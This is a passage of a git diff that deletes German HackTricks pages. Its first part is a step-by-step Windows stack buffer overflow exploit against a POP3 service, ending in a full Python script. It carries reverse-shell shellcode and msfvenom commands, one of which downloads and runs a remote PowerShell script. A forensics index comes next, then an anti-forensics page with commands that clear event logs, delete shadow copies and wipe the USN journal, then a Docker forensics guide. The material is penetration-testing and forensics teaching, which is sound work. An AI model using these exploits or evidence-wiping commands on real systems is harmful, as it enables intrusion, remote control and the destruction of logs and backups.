Das Muster sollte so groß sein wie der Puffer, den Sie zuvor verwendet haben, um den Dienst zu unterbrechen.
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Ändern Sie den Puffer des Exploits, setzen Sie das Muster und starten Sie den Exploit.
|
||||
|
||||
Ein neuer Absturz sollte auftreten, jedoch mit einer anderen EIP-Adresse:
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Überprüfen Sie, ob die Adresse in Ihrem Muster war:
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Sieht so aus, als ob **wir die EIP bei Offset 2606** des Buffers modifizieren können.
|
||||
|
||||
Überprüfen Sie es, indem Sie den Buffer des Exploits modifizieren:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
Mit diesem Puffer sollte der EIP auf 42424242 ("BBBB") zeigen.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Sieht so aus, als würde es funktionieren.
|
||||
|
||||
## Überprüfen Sie den Shellcode-Speicherplatz im Stack
|
||||
|
||||
600B sollten für jeden leistungsstarken Shellcode ausreichen.
|
||||
|
||||
Lass uns den Puffer ändern:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
Starte den neuen Exploit und überprüfe das EBP und die Länge des nützlichen Shellcodes
|
||||
|
||||
 (1).png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Du kannst sehen, dass, wenn die Verwundbarkeit erreicht ist, das EBP auf den Shellcode zeigt und dass wir viel Platz haben, um hier einen Shellcode zu platzieren.
|
||||
|
||||
In diesem Fall haben wir **von 0x0209A128 bis 0x0209A2D6 = 430B.** Genug.
|
||||
|
||||
## Überprüfe auf schlechte Zeichen
|
||||
|
||||
Ändere erneut den Puffer:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Die badchars beginnen bei 0x01, da 0x00 fast immer schlecht ist.
|
||||
|
||||
Führen Sie den Exploit wiederholt mit diesem neuen Puffer aus, indem Sie die Zeichen löschen, die als nutzlos erachtet werden:
|
||||
|
||||
Zum Beispiel:
|
||||
|
||||
In diesem Fall können Sie sehen, dass **Sie das Zeichen 0x0A nicht verwenden sollten** (nichts wird im Speicher gespeichert, da das Zeichen 0x09).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
In diesem Fall können Sie sehen, dass **das Zeichen 0x0D vermieden wird**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
## Finden Sie einen JMP ESP als Rücksprungadresse
|
||||
|
||||
Verwenden:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
Sie werden **die Speicherkarten auflisten**. Suchen Sie nach einer DLL, die hat:
|
||||
|
||||
- **Rebase: False**
|
||||
- **SafeSEH: False**
|
||||
- **ASLR: False**
|
||||
- **NXCompat: False**
|
||||
- **OS Dll: True**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Jetzt sollten Sie in diesem Speicher einige JMP ESP-Bytes finden. Führen Sie dazu Folgendes aus:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**Dann, wenn eine Adresse gefunden wird, wähle eine aus, die keine badchars enthält:**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
**In diesem Fall, zum Beispiel: \_0x5f4a358f**\_
|
||||
|
||||
## Erstelle Shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Wenn der Exploit nicht funktioniert, aber funktionieren sollte (Sie können mit ImDebg sehen, dass der Shellcode erreicht wird), versuchen Sie, andere Shellcodes zu erstellen (msfvenom mit verschiedenen Shellcodes für die gleichen Parameter zu erstellen).
|
||||
|
||||
**Fügen Sie einige NOPS am Anfang** des Shellcodes hinzu und verwenden Sie ihn sowie die Rücksprungadresse, um JMP ESP auszuführen, und beenden Sie den Exploit:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
shellcode = (
|
||||
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||||
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||||
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||||
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||||
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||||
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||||
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||||
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||||
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||||
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||||
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||||
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||||
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||||
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||||
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||||
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||||
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||||
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||||
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||||
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||||
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||||
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||||
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||||
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||||
)
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
> [!WARNING]
|
||||
> Es gibt Shellcodes, die sich **selbst überschreiben**, daher ist es wichtig, immer einige NOPs vor dem Shellcode hinzuzufügen.
|
||||
|
||||
## Verbesserung des Shellcodes
|
||||
|
||||
Fügen Sie diese Parameter hinzu:
|
||||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,82 +0,0 @@
|
||||
# Grundlegende forensische Methodik
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Erstellen und Einbinden eines Images
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
|
||||
{{#endref}}
|
||||
|
||||
## Malware-Analyse
|
||||
|
||||
Dies **ist nicht unbedingt der erste Schritt, den Sie ausführen sollten, sobald Sie das Image haben**. Aber Sie können diese Malware-Analyse-Techniken unabhängig verwenden, wenn Sie eine Datei, ein Dateisystem-Image, ein Speicher-Image, pcap... haben, also ist es gut, **diese Aktionen im Hinterkopf zu behalten**:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Überprüfung eines Images
|
||||
|
||||
Wenn Ihnen ein **forensisches Image** eines Geräts gegeben wird, können Sie beginnen, **die Partitionen, das verwendete Dateisystem** zu **analysieren** und potenziell **interessante Dateien** (sogar gelöschte) **wiederherzustellen**. Erfahren Sie, wie in:
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
Je nach den verwendeten Betriebssystemen und sogar Plattformen sollten verschiedene interessante Artefakte gesucht werden:
|
||||
|
||||
{{#ref}}
|
||||
windows-forensics/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
linux-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
docker-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## Tiefeninspektion spezifischer Dateitypen und Software
|
||||
|
||||
Wenn Sie eine sehr **verdächtige** **Datei** haben, dann können **je nach Dateityp und Software**, die sie erstellt hat, mehrere **Tricks** nützlich sein.\
|
||||
Lesen Sie die folgende Seite, um einige interessante Tricks zu lernen:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
Ich möchte die Seite besonders erwähnen:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
## Speicher-Dump-Inspektion
|
||||
|
||||
{{#ref}}
|
||||
memory-dump-analysis/
|
||||
{{#endref}}
|
||||
|
||||
## Pcap-Inspektion
|
||||
|
||||
{{#ref}}
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
|
||||
## **Anti-Forensische Techniken**
|
||||
|
||||
Behalten Sie die mögliche Verwendung von anti-forensischen Techniken im Hinterkopf:
|
||||
|
||||
{{#ref}}
|
||||
anti-forensic-techniques.md
|
||||
{{#endref}}
|
||||
|
||||
## Bedrohungsjagd
|
||||
|
||||
{{#ref}}
|
||||
file-integrity-monitoring.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,151 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Zeitstempel
|
||||
|
||||
Ein Angreifer könnte daran interessiert sein, **die Zeitstempel von Dateien zu ändern**, um nicht entdeckt zu werden.\
|
||||
Es ist möglich, die Zeitstempel im MFT in den Attributen `$STANDARD_INFORMATION`**und**`$FILE_NAME` zu finden.
|
||||
|
||||
Beide Attribute haben 4 Zeitstempel: **Änderung**, **Zugriff**, **Erstellung** und **MFT-Registrierungsänderung** (MACE oder MACB).
|
||||
|
||||
**Windows Explorer** und andere Tools zeigen die Informationen aus **`$STANDARD_INFORMATION`** an.
|
||||
|
||||
## TimeStomp - Anti-Forensik-Tool
|
||||
|
||||
Dieses Tool **modifiziert** die Zeitstempelinformationen innerhalb von **`$STANDARD_INFORMATION`**, **aber** **nicht** die Informationen innerhalb von **`$FILE_NAME`**. Daher ist es möglich, **verdächtige** **Aktivitäten** zu **identifizieren**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
Das **USN Journal** (Update Sequence Number Journal) ist eine Funktion des NTFS (Windows NT-Dateisystem), die Änderungen am Volume verfolgt. Das [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) Tool ermöglicht die Untersuchung dieser Änderungen.
|
||||
|
||||
.png>)
|
||||
|
||||
Das vorherige Bild ist die **Ausgabe**, die von dem **Tool** angezeigt wird, wo zu beobachten ist, dass einige **Änderungen vorgenommen wurden**.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Alle Metadatenänderungen an einem Dateisystem werden** in einem Prozess protokolliert, der als [Write-Ahead Logging](https://en.wikipedia.org/wiki/Write-ahead_logging) bekannt ist. Die protokollierten Metadaten werden in einer Datei namens `**$LogFile**` gespeichert, die sich im Stammverzeichnis eines NTFS-Dateisystems befindet. Tools wie [LogFileParser](https://github.com/jschicht/LogFileParser) können verwendet werden, um diese Datei zu analysieren und Änderungen zu identifizieren.
|
||||
|
||||
.png>)
|
||||
|
||||
Wiederum ist in der Ausgabe des Tools zu sehen, dass **einige Änderungen vorgenommen wurden**.
|
||||
|
||||
Mit demselben Tool ist es möglich zu identifizieren, **zu welcher Zeit die Zeitstempel geändert wurden**:
|
||||
|
||||
.png>)
|
||||
|
||||
- CTIME: Erstellungszeit der Datei
|
||||
- ATIME: Änderungszeit der Datei
|
||||
- MTIME: MFT-Registrierungsänderung der Datei
|
||||
- RTIME: Zugriffszeit der Datei
|
||||
|
||||
## Vergleich von `$STANDARD_INFORMATION` und `$FILE_NAME`
|
||||
|
||||
Eine weitere Möglichkeit, verdächtig modifizierte Dateien zu identifizieren, wäre der Vergleich der Zeit auf beiden Attributen auf **Unstimmigkeiten** zu überprüfen.
|
||||
|
||||
## Nanosekunden
|
||||
|
||||
**NTFS**-Zeitstempel haben eine **Präzision** von **100 Nanosekunden**. Daher ist es sehr **verdächtig**, Dateien mit Zeitstempeln wie 2010-10-10 10:10:**00.000:0000 zu finden.
|
||||
|
||||
## SetMace - Anti-Forensik-Tool
|
||||
|
||||
Dieses Tool kann beide Attribute `$STANDARD_INFORMATION` und `$FILE_NAME` ändern. Allerdings ist es ab Windows Vista notwendig, dass ein aktives Betriebssystem diese Informationen ändert.
|
||||
|
||||
# Datenversteckung
|
||||
|
||||
NFTS verwendet einen Cluster und die minimale Informationsgröße. Das bedeutet, dass, wenn eine Datei einen Cluster und einen halben Cluster belegt, die **verbleibende Hälfte niemals verwendet wird**, bis die Datei gelöscht wird. Daher ist es möglich, **Daten in diesem Slack-Space zu verstecken**.
|
||||
|
||||
Es gibt Tools wie Slacker, die es ermöglichen, Daten in diesem "versteckten" Raum zu verbergen. Eine Analyse des `$logfile` und `$usnjrnl` kann jedoch zeigen, dass einige Daten hinzugefügt wurden:
|
||||
|
||||
.png>)
|
||||
|
||||
Dann ist es möglich, den Slack-Space mit Tools wie FTK Imager wiederherzustellen. Beachten Sie, dass diese Art von Tool den Inhalt obfuskiert oder sogar verschlüsselt speichern kann.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Dies ist ein Tool, das den Computer **ausschaltet, wenn eine Änderung an den USB**-Ports erkannt wird.\
|
||||
Eine Möglichkeit, dies zu entdecken, wäre, die laufenden Prozesse zu inspizieren und **jedes laufende Python-Skript zu überprüfen**.
|
||||
|
||||
# Live Linux-Distributionen
|
||||
|
||||
Diese Distributionen werden **im RAM** ausgeführt. Die einzige Möglichkeit, sie zu erkennen, besteht darin, **wenn das NTFS-Dateisystem mit Schreibberechtigungen gemountet ist**. Wenn es nur mit Lesezugriff gemountet ist, wird es nicht möglich sein, die Eindringung zu erkennen.
|
||||
|
||||
# Sichere Löschung
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows-Konfiguration
|
||||
|
||||
Es ist möglich, mehrere Windows-Protokollierungsmethoden zu deaktivieren, um die forensische Untersuchung erheblich zu erschweren.
|
||||
|
||||
## Zeitstempel deaktivieren - UserAssist
|
||||
|
||||
Dies ist ein Registrierungsschlüssel, der Daten und Uhrzeiten speichert, wann jede ausführbare Datei vom Benutzer ausgeführt wurde.
|
||||
|
||||
Das Deaktivieren von UserAssist erfordert zwei Schritte:
|
||||
|
||||
1. Setzen Sie zwei Registrierungsschlüssel, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` und `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, beide auf null, um anzuzeigen, dass wir UserAssist deaktivieren möchten.
|
||||
2. Löschen Sie Ihre Registrierungssubbäume, die wie `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` aussehen.
|
||||
|
||||
## Zeitstempel deaktivieren - Prefetch
|
||||
|
||||
Dies speichert Informationen über die ausgeführten Anwendungen mit dem Ziel, die Leistung des Windows-Systems zu verbessern. Dies kann jedoch auch für forensische Praktiken nützlich sein.
|
||||
|
||||
- Führen Sie `regedit` aus
|
||||
- Wählen Sie den Dateipfad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
- Klicken Sie mit der rechten Maustaste auf `EnablePrefetcher` und `EnableSuperfetch`
|
||||
- Wählen Sie Ändern bei jedem dieser, um den Wert von 1 (oder 3) auf 0 zu ändern
|
||||
- Neustart
|
||||
|
||||
## Zeitstempel deaktivieren - Letzte Zugriffszeit
|
||||
|
||||
Immer wenn ein Ordner von einem NTFS-Volume auf einem Windows NT-Server geöffnet wird, nimmt das System sich die Zeit, um **ein Zeitstempelfeld für jeden aufgelisteten Ordner zu aktualisieren**, das als letzte Zugriffszeit bezeichnet wird. Bei einem stark genutzten NTFS-Volume kann dies die Leistung beeinträchtigen.
|
||||
|
||||
1. Öffnen Sie den Registrierungs-Editor (Regedit.exe).
|
||||
2. Navigieren Sie zu `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Suchen Sie nach `NtfsDisableLastAccessUpdate`. Wenn es nicht existiert, fügen Sie dieses DWORD hinzu und setzen Sie seinen Wert auf 1, um den Prozess zu deaktivieren.
|
||||
4. Schließen Sie den Registrierungs-Editor und starten Sie den Server neu.
|
||||
|
||||
## USB-Historie löschen
|
||||
|
||||
Alle **USB-Geräteeinträge** werden in der Windows-Registrierung unter dem **USBSTOR**-Registrierungsschlüssel gespeichert, der Unterschlüssel enthält, die erstellt werden, wenn Sie ein USB-Gerät an Ihren PC oder Laptop anschließen. Sie finden diesen Schlüssel hier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Durch das Löschen dieses** Schlüssels löschen Sie die USB-Historie.\
|
||||
Sie können auch das Tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) verwenden, um sicherzustellen, dass Sie sie gelöscht haben (und um sie zu löschen).
|
||||
|
||||
Eine weitere Datei, die Informationen über die USBs speichert, ist die Datei `setupapi.dev.log` im Verzeichnis `C:\Windows\INF`. Diese sollte ebenfalls gelöscht werden.
|
||||
|
||||
## Schattenkopien deaktivieren
|
||||
|
||||
**Liste** der Schattenkopien mit `vssadmin list shadowstorage`\
|
||||
**Löschen** Sie sie, indem Sie `vssadmin delete shadow` ausführen.
|
||||
|
||||
Sie können sie auch über die GUI löschen, indem Sie die Schritte in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) befolgen.
|
||||
|
||||
Um Schattenkopien zu deaktivieren, [Schritte von hier](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Öffnen Sie das Dienstprogramm "Dienste", indem Sie "Dienste" in das Textsuchfeld eingeben, nachdem Sie auf die Schaltfläche "Windows-Start" geklickt haben.
|
||||
2. Suchen Sie in der Liste "Volume Shadow Copy", wählen Sie es aus und greifen Sie dann mit einem Rechtsklick auf die Eigenschaften zu.
|
||||
3. Wählen Sie "Deaktiviert" aus dem Dropdown-Menü "Starttyp" und bestätigen Sie die Änderung, indem Sie auf Übernehmen und OK klicken.
|
||||
|
||||
Es ist auch möglich, die Konfiguration zu ändern, welche Dateien in der Schattenkopie kopiert werden sollen, in der Registrierung `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`.
|
||||
|
||||
## Gelöschte Dateien überschreiben
|
||||
|
||||
- Sie können ein **Windows-Tool** verwenden: `cipher /w:C`. Dies weist Cipher an, alle Daten aus dem verfügbaren ungenutzten Speicherplatz auf dem C-Laufwerk zu entfernen.
|
||||
- Sie können auch Tools wie [**Eraser**](https://eraser.heidi.ie) verwenden.
|
||||
|
||||
## Windows-Ereignisprotokolle löschen
|
||||
|
||||
- Windows + R --> eventvwr.msc --> Erweitern Sie "Windows-Protokolle" --> Klicken Sie mit der rechten Maustaste auf jede Kategorie und wählen Sie "Protokoll löschen"
|
||||
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Windows-Ereignisprotokolle deaktivieren
|
||||
|
||||
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- Deaktivieren Sie im Abschnitt Dienste den Dienst "Windows-Ereignisprotokoll"
|
||||
- `WEvtUtil.exec clear-log` oder `WEvtUtil.exe cl`
|
||||
|
||||
## $UsnJrnl deaktivieren
|
||||
|
||||
- `fsutil usn deletejournal /d c:`
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,97 +0,0 @@
|
||||
# Docker Forensics
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Container modification
|
||||
|
||||
Es gibt Verdachtsmomente, dass ein bestimmter Docker-Container kompromittiert wurde:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
Sie können die **Änderungen, die an diesem Container im Hinblick auf das Image vorgenommen wurden**, leicht finden mit:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
C /var/lib
|
||||
C /var/lib/mysql
|
||||
A /var/lib/mysql/ib_logfile0
|
||||
A /var/lib/mysql/ib_logfile1
|
||||
A /var/lib/mysql/ibdata1
|
||||
A /var/lib/mysql/mysql
|
||||
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
Im vorherigen Befehl bedeutet **C** **Changed** und **A** **Added**.\
|
||||
Wenn Sie feststellen, dass eine interessante Datei wie `/etc/shadow` geändert wurde, können Sie sie aus dem Container herunterladen, um nach bösartiger Aktivität zu suchen mit:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Sie können es auch **mit dem Original vergleichen**, indem Sie einen neuen Container ausführen und die Datei daraus extrahieren:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
Wenn Sie feststellen, dass **eine verdächtige Datei hinzugefügt wurde**, können Sie auf den Container zugreifen und ihn überprüfen:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Bildermodifikationen
|
||||
|
||||
Wenn Ihnen ein exportiertes Docker-Image (wahrscheinlich im `.tar`-Format) gegeben wird, können Sie [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) verwenden, um **eine Zusammenfassung der Modifikationen** zu **extrahieren**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Dann können Sie das Image **dekomprimieren** und die **Blobs** zugreifen, um nach verdächtigen Dateien zu suchen, die Sie möglicherweise in der Änderungsverlauf gefunden haben:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Grundlegende Analyse
|
||||
|
||||
Sie können **grundlegende Informationen** aus dem Image erhalten, indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
Sie können auch eine Zusammenfassung **der Änderungen** mit:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
Sie können auch ein **dockerfile aus einem Image** mit folgendem Befehl generieren:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
|
||||
Um hinzugefügte/ändernde Dateien in Docker-Images zu finden, können Sie auch das [**dive**](https://github.com/wagoodman/dive) (laden Sie es von [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0))-Tool verwenden:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
Loaded image: flask:latest
|
||||
|
||||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Dies ermöglicht es Ihnen, **durch die verschiedenen Blobs von Docker-Images zu navigieren** und zu überprüfen, welche Dateien geändert/hinzugefügt wurden. **Rot** bedeutet hinzugefügt und **gelb** bedeutet geändert. Verwenden Sie **Tab**, um zur anderen Ansicht zu wechseln, und **Leertaste**, um Ordner zu minimieren/öffnen.
|
||||
|
||||
Mit dies werden Sie nicht in der Lage sein, auf den Inhalt der verschiedenen Stufen des Images zuzugreifen. Um dies zu tun, müssen Sie **jede Schicht dekomprimieren und darauf zugreifen**.\
|
||||
Sie können alle Schichten eines Images aus dem Verzeichnis, in dem das Image dekomprimiert wurde, dekomprimieren, indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Anmeldeinformationen aus dem Speicher
|
||||
|
||||
Beachten Sie, dass Sie, wenn Sie einen Docker-Container auf einem Host ausführen, **die auf dem Container laufenden Prozesse vom Host aus sehen können**, indem Sie einfach `ps -ef` ausführen.
|
||||
|
||||
Daher können Sie (als root) **den Speicher der Prozesse** vom Host aus dumpen und nach **Anmeldeinformationen** suchen, **genau wie im folgenden Beispiel** [**dargestellt**](../../linux-hardening/privilege-escalation/index.html#process-memory).
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,26 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Basislinie
|
||||
|
||||
